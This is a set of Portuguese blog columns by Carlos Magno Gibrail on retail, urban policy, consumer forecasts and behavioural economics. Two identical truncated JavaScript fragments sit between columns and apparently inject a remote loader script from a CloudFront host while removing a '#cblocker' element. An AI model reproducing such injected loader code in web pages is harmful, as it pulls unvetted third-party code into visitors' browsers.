Imóveis, automóveis, e seus vendedores canastrões

 

Por Carlos Magno Gibrail

 

 

Do artigo de Walcyr Carrasco na Época sobre a conversa dos corretores de imóveis, e do livro Freakonomics de Levitt e Dubner relacionando a Ku Klux Khan, os vendedores de automóveis e os corretores de imóveis, chega-se a conclusão que comprar ou vender imóvel ou automóvel é tarefa das mais ingratas.

 

Carrasco ressalta a falsidade das informações, mesmo as evidentes, enquanto Levitt e Dubner enfatizam a sonegação das mesmas.

 

É perceptível que é a variação de preço que leva à falta de decoro. Em uma venda de R$ 1 milhão o corretor ganha R$ 60 mil e eventual 10% a mais faria aumentar seu ganho em R$ 6 mil, que é pouco para arriscar, mas o proprietário perde R$ 100 mil. Na compra, o processo é invertido mas o raciocínio é o mesmo.

 

O discurso de corretores e vendedores está mais próximo de políticos do que de especialistas em atendimento. Talvez até pela coincidência de pertencerem a setores que financiam campanhas políticas com o objetivo de receber vantagens.

 

Os casos pessoais citados por Carrasco estão reproduzidos em agradável leitura, igualmente às análises contidas no Freakonomics – ajudados pelo contexto bizarro que se apresenta o corretor na relação vendedor- comprador.

 

Considerando que o Superman da TV americana, alimentado por informações e senhas secretas de um espião, desmoronou a Ku Klux Khan ao apresentá-las aos telespectadores, os autores do Freakonomics apostam na internet para exibir dados de mercado capazes de municiar os consumidores. E foi na internet, nos sites de encontros, que perceberam que a exibição de dados é o caminho do sucesso, mas a omissão é o caminho do insucesso. O não envio de foto, por exemplo, reduz para 25% de respostas no caso dos homens e 16% no caso das mulheres.

 

A realidade é que não podemos deixar de lembrar que nem todos os corretores são canastrões, ao mesmo tempo em que também vemos a canastrice nas áreas políticas, comerciais e até mesmo pessoais. A internet realmente tem se encarregado de abrir este cenário.

 

Carlos Magno Gibrail é mestre em Administração, Organização e Recursos Humanos, e escreve às quartas-feiras, no Blog do Mílton Jung

Casa, trabalho, e… Shopping Center

 

Por Carlos Magno Gibrail

 


O grande desafio comercial para o varejo real, na era virtual em que vivemos, é tornar o ambiente das compras como um espaço de prazer.

 

Grandes operadores sonham em transformar suas unidades como o terceiro lugar para as pessoas irem. Isto porque, a casa e o trabalho são endereços permanentes, mas quem conseguir se posicionar como a terceira alternativa certamente terá extraordinária vantagem competitiva. Com relação aos do mesmo canal de vendas e de outros, como os meios eletrônicos.

 

Recentes dados do IBOPE sinalizam que os Shoppings Centers estão neste caminho. E, os consumidores respondem e correspondem. Aproximadamente 11 milhões de brasileiros frequentam os Shoppings diariamente, o que significa que 376 milhões visitam mensalmente estes locais. O que não é pouco, pois podemos dizer que dois brasis vão aos Shoppings todo mês.

 

O detalhe é que destes, apenas 40% vão às compras. Da parcela maior de 60%, 15% passeiam, outros 15% se alimentam, 10% assistem a filmes e encontram pessoas, 10% buscam serviços, 5% pagam contas e 5% usam caixas eletrônicos.

 

Se de um lado esta estratificação dilui a conversão em vendas, tanto que os Shoppings com os R$ 108 bilhões de 2011 ficam com apenas 18% do varejo, ao mesmo tempo contribui qualitativamente gerando o diferencial necessário para enfrentar os outros canais. A internet cravou R$ 18,7 bilhões e apresentou um crescimento de 26%, enquanto os Shoppings, mesmo com 22 novos empreendimentos, ficaram com 18% de aumento de faturamento em relação ao ano de 2010.

 

Considerando para os próximos oito anos as previsões de aumento do mercado consumidor brasileiro com base no ciclo entre 12 mil dólares a 17 mil dólares de renda per capita anual, e no bônus demográfico, as estratégias de posicionamento e crescimento dos Shoppings e dos meios eletrônicos deverão incentivar uma atenção total ao novo consumidor. Por sua vez, as marcas terão a chance de não repetir a miopia dos Shoppings Centers, que ignoraram o e-commerce.

 

Ao que tudo indica algumas já estão atentas, pois há casos excepcionais de aproveitamento do mercado real para entrar no virtual. As livrarias são um bom exemplo. A Livraria Cultura e a Livraria da Vila reúnem os canais ao mesmo tempo em que abrem espaço de lazer e prazer em lojas projetadas para ser efetivamente uma alternativa para encontrar pessoas, ou mesmo para a solidão compartilhada. Enquanto muitas vezes há aumento de despesas, se descobre também alternativas de lançamento de novos produtos como viagens e passeios para os clientes fidelizados.

 

É um aspecto que os Shoppings terão que atentar, pois o sistema hoje vigente em que as lojas satélites ficam com a maior parte da conta, pode inviabilizar as cadeias de lojas de marcas exclusivas que não contam com as benesses das âncoras e das mega-lojas. Assim como o cinema descobriu a pipoca e o próprio Shopping o estacionamento como fontes invejáveis de faturamento, é hora de abrir o olho. É um novo cenário, que terá um consumidor mais e mais informado e segmentado, exigindo das marcas e dos Shoppings Centers competência para criar e antecipar ambientes, produtos e serviços, que valham a pena sair de casa.

 


Carlos Magno Gibrail é mestre em Administração, Organização e Recursos Humanos, e escreve às quartas-feiras, no Blog do Mílton Jung

O prefeito como CEO

 


Por Carlos Magno Gibrail

 

Avenida Paulista

 

Que as empresas privadas inseridas em mercado competitivo são mais eficientes que as públicas é fato incontestável. Por que então nas cidades, a mais importante célula do organismo estatal, a direção das mesmas não segue os trâmites do mundo corporativo?

 

Esta questão a fiz, ao ler neste blog o artigo do Claudio Vieira do “Adote um vereador”. A perfeita descrição da função de Prefeito, idêntica às usadas nas organizações particulares, poderia sugerir igualdade de desempenho.

 

A missão da Prefeitura é a mesma, ou seja, atender às necessidades e desejos do consumidor alvo, e manter relações de ganho mútuo com funcionários, fornecedores e acionistas.

 

Prefeituras e empresas também comungam com Planejamentos orçamentários, operacionais e administrativo-financeiros. Assim como projetos de novos produtos e mercados. Que por sua vez, são apresentados às câmaras municipais e tribunais de contas ou a conselhos de administração e de acionistas.

 

Os candidatos a prefeito são recrutados pelos partidos políticos e a seleção é feita pelos eleitores. Os CEOs são recrutados por empresas especializadas e a seleção é feita pela qualificação e experiência anterior. Eis aí a diferença. Candidatos sem qualificação adequada, recrutados por partidos sem atributos técnicos e objetivos muitas vezes camuflados, apresentados ao voto obrigatório de eleitores. Nestas condições a probabilidade do recrutamento de perfis distantes do ideal é grande. Assim também a vitória dos mesmos. Como tem demonstrado o histórico das eleições, até com candidatos analfabetos, com fichas reprovadas, etc.

 

No mundo corporativo, a admissão de um CEO exige uma clara descrição de funções e as qualificações necessárias para o desempenho do cargo. No ambiente político durante as campanhas eleitorais, não são cotejadas as qualificações e as funções. Nem pelos partidos, nem pelos candidatos e muitas vezes nem pelos eleitores.

 

Para CEO de uma empresa de 40 bilhões de reais anuais, aproximadamente o orçamento anual da cidade de São Paulo, a qualificação necessária exigirá no mínimo formação acadêmica compatível, e experiência na área com comprovado sucesso. E, um perfil de liderança acentuada. Honestidade é condição essencial. Para ser admitido o candidato terá que convencer hábeis avaliadores.

 

Para Prefeito de São Paulo, uma ligeira análise mostrará que poucos se inserem nas condições mínimas. Os que conferem a premissa básica deveriam demonstrar a capacitação pela experiência, pelo conhecimento da cidade e por soluções técnicas aos principais problemas. Não é o que estamos vendo. É hora de chamar os “universitários”, ou melhor, os jornalistas preparados.

 


Carlos Magno Gibrail é mestre em Administração, Organização e Recursos Humanos, e escreve às quartas-feiras, no Blog do Mílton Jung

Caruaru beberá mais cerveja que a Alemanha

 


Por Carlos Magno Gibrail

 

 

Estamos numa fase de oportunidade única para o varejo brasileiro. Os próximos dez anos determinarão as marcas que dominarão as décadas seguintes. Os R$ 2,2 trilhões de consumo serão R$ 3,5 trilhões até 2020, que corresponderá a 65% do PIB. Mesmo com a tributação altíssima que vivemos, além do represamento do capital para o trabalho na esfera pública, quando o talento está nas empresas privadas.

 

Estas previsões fazem parte do mapa de consumo que a revista Exame traçou para 2020. Baseada em dados da consultoria McKinsey e da Escopo, empresa de Geomarketing.
Embora saibamos que o consumo em si não trará sustentabilidade ao crescimento, dois fatores, a renda per capita e o bônus demográfico, propiciarão as grandes chances de efetivarmos um salto na renda, e nos tornarmos o quinto maior mercado consumidor do mundo.

 

A história tem demonstrado que ao atingir a renda per capita entre US$ 12 mil dólares e US$ 17 mil os países geram as maiores taxas de consumo. Estamos com US$ 11 mil, a um passo de desencadear um significativo salto. De outro lado, os estudos demonstram que ao chegar com 60% da população economicamente ativa no mercado de trabalho, se obtêm o ápice do bônus demográfico. Este estágio será alcançado em 2022. Depois disso a relação entre ativos e inativos irá diminuir e o aumento de renda ficará à mercê da produtividade real.

 

É o que acredita Aldo Massachio, de Harvard, quando disse à Exame: “As empresas que se estabelecerem líderes no Brasil até 2020 deverão se perpetuar nessa posição nas décadas seguintes”.

 

Não é à toa que até 2013 serão abertos mais de 70 Shoppings Centers, e que grandes varejistas que consideravam apenas cidades com mais de 500 mil habitantes estão abrindo novas unidades em cidades de 150 mil habitantes.

 

Este panorama estabelece claramente a oportunidade ao mesmo tempo em que fixa 2022 como data limite da impunidade à má administração pública. Se não vierem as reformas tributárias, políticas e morais, adeus crescimento. Antes disso, segundo a Exame, Caruaru terá consumo médio de cerveja maior que o da Alemanha, e os brasileiros consumirão três vezes mais cerveja que os alemães. Saúde!

 


Carlos Magno Gibrail é mestre em Administração, Organização e Recursos Humanos, e escreve às quartas-feiras, no Blog do Mílton Jung

// -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Cliente secreto produz cliente satisfeito

 

Por Carlos Magno Gibrail

 

 

Somos clientes permanentemente. Ao usar os serviços públicos essenciais, ou ao comprar bens e serviços. Telefone, internet, TV a cabo, saúde, bancos, restaurantes, carros, imóveis, alimentos, roupas, etc. São itens necessários, e cotidianamente para adquiri-los dependemos do atendimento de vendedores. É a partir daí que começam os problemas.

 

A inegável evolução dos produtos e serviços aumentou a capacitação desejada para um bom atendimento, o que não tem ocorrido. As chances da boa experiência de compras, tão almejada pelas marcas, estão distantes da satisfação do consumidor. Quanto mais do encantamento deste comprador.

 

Além dos necessários treinamentos em vendas, do acompanhamento das estatísticas do PROCON e das pesquisas de mercado, há um caminho mais direto e bastante eficiente.

 

No ano de 1990, como sócio e diretor da CORI, empresa de moda feminina bastante focada no conceito de estilo de vida e comprometida com investimento em atendimento exclusivo e personalizado, fui surpreendido com uma matéria da Folha de São Paulo. Em chamada de primeira página registrava: “É da CORI o melhor atendimento”. O jornal tinha contratado a Buy&Test. Jovem empresa de clientes camufladas, que atuando no Shopping Ibirapuera pesquisou várias lojas das quais a CORI recebeu destaque absoluto .

 

Chamei então a entusiasmada dona da empresa de pesquisa, Stella Kochen, e após inteirar-me dos conceitos, critérios, e metodologia contratei os serviços de “espionagem”.

 

Foram dez anos de descobertas, acertos e consertos, inovações e premiações. As pesquisadoras faziam avaliação total. Da loja, da arrumação, da vendedora, da gerente. Conferiam a execução dos passos chaves das técnicas de vendas, a qualidade dos produtos, e, claro, a atitude e aparência da equipe. Cabelos, brincos, odores, mãos, unhas, esmaltes, batons, etc. A equipe de vendas, avisada e revisada, comprou a ideia do desafio de abraçar o caminho da mudança permanente e da atenção definitiva, buscando a excelência no serviço da venda. Os resultados das pesquisas eram mensalmente expostos a toda a equipe e os usávamos como treinamento e motivação. Sem punição, apenas a premiação, que levou muita gente à Nova Iorque.

 

De 1990 até hoje, Stella Kochen, acumulou extensa experiência, lidando com a prática do atendimento através de uma metodologia que configura a essência da ciência da compra. E, em outubro, a pesquisadora se apresentará como escritora. “Cliente secreto, a metodologia que revolucionou o atendimento ao consumidor” contará todas as facetas desta nova abordagem do velho e maltratado atendimento.

 


Carlos Magno Gibrail é mestre em Administração, Organização e Recursos Humanos, e escreve às quartas-feiras, no Blog do Mílton Jung

// -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

O Nobel de Economia e o resultado nas Olimpíadas

 

Por Carlos Magno Gibrail

 

 

A repetição dos movimentos nos treinamentos, a competência na escolha das ações nas competições, o acúmulo de experiências vitoriosas sucessivas em competições esportivas, são premissas inquestionáveis para a manutenção de um campeão.

 

Cielo, Murer e Hypólito, detentores destes requisitos, atletas campeões consagrados internacionalmente, não fizeram jua à bagagem competitiva que levaram para Londres. As metas traçadas não alcançadas foram devidas certamente a decisões tomadas erroneamente.

 

Se o esperado ouro não veio, não deixa de ser de ouro o momento para se iniciar a preparação para a RIO 2016, que pode vir de um vencedor na academia da ciência.

 

Há uma semana o psicólogo Daniel Kahneman, Prêmio Nobel de Economia pelo seu trabalho na área de Economia Comportamental, lançou o livro “Rápido e Devagar”, que aborda os aspectos psicológicos das tomadas de decisões.

 

Kahneman divide o processo decisório em dois Sistemas:

 

1.Rápido, é automático e emotivo,

 

2.Devagar é o controlado e racional.

 

Da otimização na relação entre os dois é que resultará a melhor decisão. Mas, não é fácil. E, Daniel Kahneman explica: “Por que temos tanta dificuldade de pensar estatisticamente? Há uma limitação desconcertante de nossa mente: nossa confiança excessiva no que acreditamos saber, e nossa aparente incapacidade de admitir a verdadeira extensão da nossa ignorância e a incerteza do mundo em que vivemos. Somos obrigados a superestimar quanto compreendemos sobre o mundo e subestimar o papel do acaso nos eventos”.

 

Cesar Cielo repetiu os 100m e se deu mal. Fabiana Murer vivenciou o stress do sumiço anterior do seu equipamento com o forte vento de agora e desistiu. Daniel Hypolito renovou a mesma queda.

 

Se na Economia a tomada de decisões é crucial, como argumenta Kahneman, a ponto de poder quebrar um país se todos decidirem errado sobre investimentos e compras. Na área do esporte de alto rendimento, as decisões são tão importantes quanto. E, tanto na esfera preparatória quanto na fase de competição. O emocional, a estatística e a sorte, devem ser levados em consideração, com a ressalva de que a pessoa não consegue analisar a si própria. Precisa ser ajudada por outra para uma análise sem viés.

 

Agora, talvez o melhor mesmo seja mergulharmos nas questões levantadas por Daniel Kahneman em seu instigante trabalho sobre as decisões. Ou, procurar um psicólogo.

 


Carlos Magno Gibrail é mestre em Administração, Organização e Recursos Humanos, e escreve às quartas-feiras, no Blog do Mílton Jung

“Chique barato” pode sair caro

 

Por Carlos Magno Gibrail

 

 

Do clima das Olimpíadas, nas chaminés da abertura na sexta-feira, à camisa de Djokovic no domingo, pudemos viajar da Revolução Industrial de Fayol e Taylor até a dinâmica do comércio atual, onde despontam marcas e produtos com propostas intensas de moda, atualização e preços agressivamente competitivos.

 

As críticas de Chaplin do passado encontram eco, hoje, nas acusações de entidades afins como o Greenpeace, apontando as irregularidades de trabalho escravo ou infantil.

 

Se os produtos de alto valor agregado, como os automóveis, onde há retorno dos investimentos feitos em tecnologia, robôs e similares, as piores tarefas já deram lugar à tecnologia. E diminuíram os empregos.

 

Nos demais artigos onde o trabalho manual é mais barato do que os equipamentos, ele ainda existe. Os empregos também. Não importam o pequeno tamanho do salário nem o lugar onde habita.

 

A Uniqlo, de “Unique Clothing” com a filosofia de “Made For All” roupa única de tudo e para todos, do economista japonês Tadashi Ianai, é a mais nova companheira da espanhola Zara, da inglesa Top Shop e da sueca H&M. Empresas cuja tônica são as propostas de Fastfashion e de Cheapchic, ou seja a moda rápida e o chique barato. Produtos que pelo exíguo preço estão cada vez mais na mira das entidades sociais. Fechando um curioso ciclo, pois ao possibilitar o consumo a uma maior gama de consumidores, desperta a atenção pela forma como remunera a mão de obra. E, lucra, pois a festejada Uniqlo coloca Ianai como o mais rico japonês, capa da Forbes e dono de 10,6 bilhões de dólares. Amealhados nas 1100 lojas, nos 55 mil funcionários, e com ícones como os cinco mil metros quadrados da maior unidade de varejo de Tókio. Além de novidades como camisetas com filtro solar 30, ou com fibras Heattech, controladoras da temperatura e anti-odor, bem como sucessos via aplicativos que viraram febre nacional como o despertador matinal. Ianai, 63 anos, está processando uma entidade japonesa pela acusação de explorar trabalho humano, ao mesmo tempo em que para Embaixador Internacional de sua marca, contratou por cinco anos, a partir de maio o tenista Novak Djokovic.

 

Carlos Magno Gibrail é mestre em Administração, Organização e Recursos Humanos, e escreve às quartas-feiras, no Blog do Mílton Jung

De biquíni, a boa imagem do Brasil

 

Por Carlos Magno Gibrail

 

 

O Brasil, com invejável litoral, com extensos recursos naturais, com talentos em música e futebol, já deveria ter um posicionamento dominante em produtos como o café, o campeonato nacional de futebol e demais artigos relacionados com o DNA nativo.

 

A França e a moda, a Itália e o vinho, Portugal e o azeite, a Inglaterra e a literatura, são exemplos notáveis.

 

Os biquínis brasileiros adentram agora neste propósito de utilizar a credibilidade conferida aos trajes de praia criados e produzidos aqui, oriunda da expertise em praia, mar e sol da natureza nacional. Com o projeto + Beach Brasil, a ABEST Associação Brasileira de Estilistas, com a participação da APEX Agência Brasileira de promoção de exportações e investimentos, reúne 18 fabricantes de moda praia, tendo como meta exportar e formar um posicionamento dominante neste mercado para a marca Brasil.

 

Este projeto +Beach Brasil, das marcas Água de Coco, Amir Slama, ANK Swimwear, Brigitte, Cia. Marítima, Cecília Prado Mare, Clube Bossa, Dalai Beachwear, Jo de Mer, Larissa Minatto, Lenny, Poko Pano, Salinas, Sol de Janeiro, Skinbiquini, Treza, Triya e Vix Swimwear, marcou presença em Miami (EUA): o Mercedes-Benz Fashion Week Swim, o evento mais famoso de moda praia americano, encerrado na segunda e a feira de negócios Swim Show, que completou 30 anos nesta edição e terminou ontem.

 

Valdemar Iodice, presidente da ABEST informou de Miami, que as doze marcas que participaram da Swim Show realizaram bons negócios e a PoKo Pano, ANK Swim, Cia. Marítima que desfilaram tiveram seus modelos destacados na cobertura do evento. Enfatizando que “a festa de lançamento realizada na noite de ontem (23) também foi marcante para as marcas presentes e para a entidade, já que recebeu cerca de 250 convidados entre compradores (como da loja The Webster, Saks Fifth Avenue, Harrods, Gilt Group, Shopbop etc.), estilistas brasileiros e mídia internacional”.

 

É bom mesmo que os maiôs pátrios tomem seus lugares ao sol, para evitar que países que já dominem alguns posicionamentos, façam também como a Suíça dos relógios, dos queijos e dos bancos, que nos vende café Nespresso a R$ 500,00 o quilo enquanto o quilo do café Qualitá custa R$ 15,00. E o café é nosso. Ou não é?

 

Carlos Magno Gibrail é mestre em Administração, Organização e Recursos Humanos, e escreve às quartas-feiras, no Blog do Mílton Jung

Além da engenharia de tráfego

 

Por Carlos Magno Gibrail

 

 

Considerar o trânsito além da engenharia de tráfego foi o propósito de Enrique Peñalosa, economista e doutor em Administração Pública, ao assumir a cidade de Bogotá entre 1998 e 2001. Submetendo a técnica à cidadania e transformando radicalmente uma cidade de mais de sete milhões de habitantes.

 

Optando por Bogotá como uma cidade cidadã, agiu como um Administrador Geral, e tomou medidas radicais: comprou o Country Club e construiu um parque público, estabeleceu mais de 300 km de “Ciclorutas” nas avenidas da cidade, colocou obstáculos no meio fio impedindo o estacionamento em frente a grandes prédios e áreas de compras, demoliu a grande área dos drogados e criou um jardim infantil, instituiu o “Pico y Placa” rodízio de carros com quatro finais de placas diárias, aumentou o espaço para os ônibus, alargou as calçadas, substituiu áreas de garagem por espaços públicos.

 

Estas realizações deram a Penãlosa uma extraordinária bagagem, testada na RIO +20 e também na excelente entrevista publicada em 24 de junho no caderno Cotidiano da Folha, realizada por Vaguinaldo Marinheiro e Regiane Teixeira e, enaltecida por Ruy Castro em sua coluna no dia 13.

 

Ficou claro que como Administrador soube tratar a cidade como um todo, assim como diferenciar o público do privado, evidenciando que o automóvel é um bem privado e deve ser tratado como tal. Ou, como exemplificou, se é aceito que guardar suas roupas não é da alçada da prefeitura, por que o carro também não é da conta de cada um? Assim como cidade rica não é aquela em que os pobres andam de carro, mas onde os ricos usam transporte público. Vide New York, London, Zurich. E, mais: “Devemos pensar em cidades para os mais vulneráveis. Para as crianças, os idosos, os que se movimentam em cadeiras de rodas, os mais pobres. Se a cidade for boa para eles será também para os demais”.

 

Será?

 

Enrique em 2007 e 2011, embora mais famoso e festejado inclusive internacionalmente, perdeu as eleições para o cargo que tanto revolucionou.

 

Será que para as grandes cidades brasileiras teremos algum candidato disposto a Administrar Geral e considerar o que reza a Constituição no sentido de igualdade de todos perante a lei como Enrique Penãlosa assim a lê?

 

Carlos Magno Gibrail é mestre em Administração, Organização e Recursos Humanos, e escreve às quartas-feiras, no Blog do Mílton Jung

Os extremos do Morumbi: preservar e degradar

 

Por Carlos Magno Gibrail

 

 

Uma ilha de prosperidade cercada de favelas por todos os lados, como já se disse, talvez venha inspirando ações extremistas no trato com a invejável cobertura verde ainda existente. E mal trato com a marca Morumbi.

 

O alto preço da fama tem sido uma constante. Segurança na mira de manipulados holofotes, verticalização acentuada, priorização aos automóveis, desconsideração com as casas e seus moradores.

 

Com tudo isso era de se esperar o Monotrilho, que reflete o desprezo pela qualidade local. A qualidade que originou o conceito do bairro, como o Clube Paineiras do Morumby, ora surpreendido por um cuidado singular, ao tomar conhecimento de uma demanda por tombamento de seu patrimônio. Logo ali, onde não se consegue mais uma vista pura, dada a poluição visual das torres do Shopping Cidade Jardim, devassando uma centena de mansões. Sem falar no trajeto para o túnel JK, que Maluf mudou na ultima hora para a Avenida das Begônias.

 

O CONPRESP Conselho Municipal de Preservação do Patrimônio Histórico, Cultural e Ambiental da Cidade de São Paulo, baseando-se no patrimônio da arquitetura moderna do arquiteto Carlos Barjas Milan e posteriormente do arquiteto Paulo de Melo Bastos, na influência na urbanização da cidade, na importância referencial e paisagística na década de 1960 e a existência de obras no Clube, resolveu abrir processo de tombamento.

 

O Paineiras através da palavra de seu Vice-Presidente, arquiteto Sergio Henri Stauffenegger, nos informou que Milan não projetou o todo. Apenas algumas construções, assim como Paulo Bastos, e que existem várias unidades com outras interferências. Ressaltou que o Clube não gostaria de ser tombado, pois embora eu o tivesse lembrado de uma valorização do patrimônio em função do tombamento, disse que o trabalho que futuras reformas teriam certamente não compensaria. Principalmente por prever que estas liberações contem um aspecto não essencialmente técnico.

 

Creio que as razões do Conpresp e do Paineiras são coerentes. Incoerente tem sido a atuação da Prefeitura e do Governo do Estado de São Paulo.

 

Carlos Magno Gibrail é mestre em Administração, Organização e Recursos Humanos, e escreve às quartas-feiras, no Blog do Mílton Jung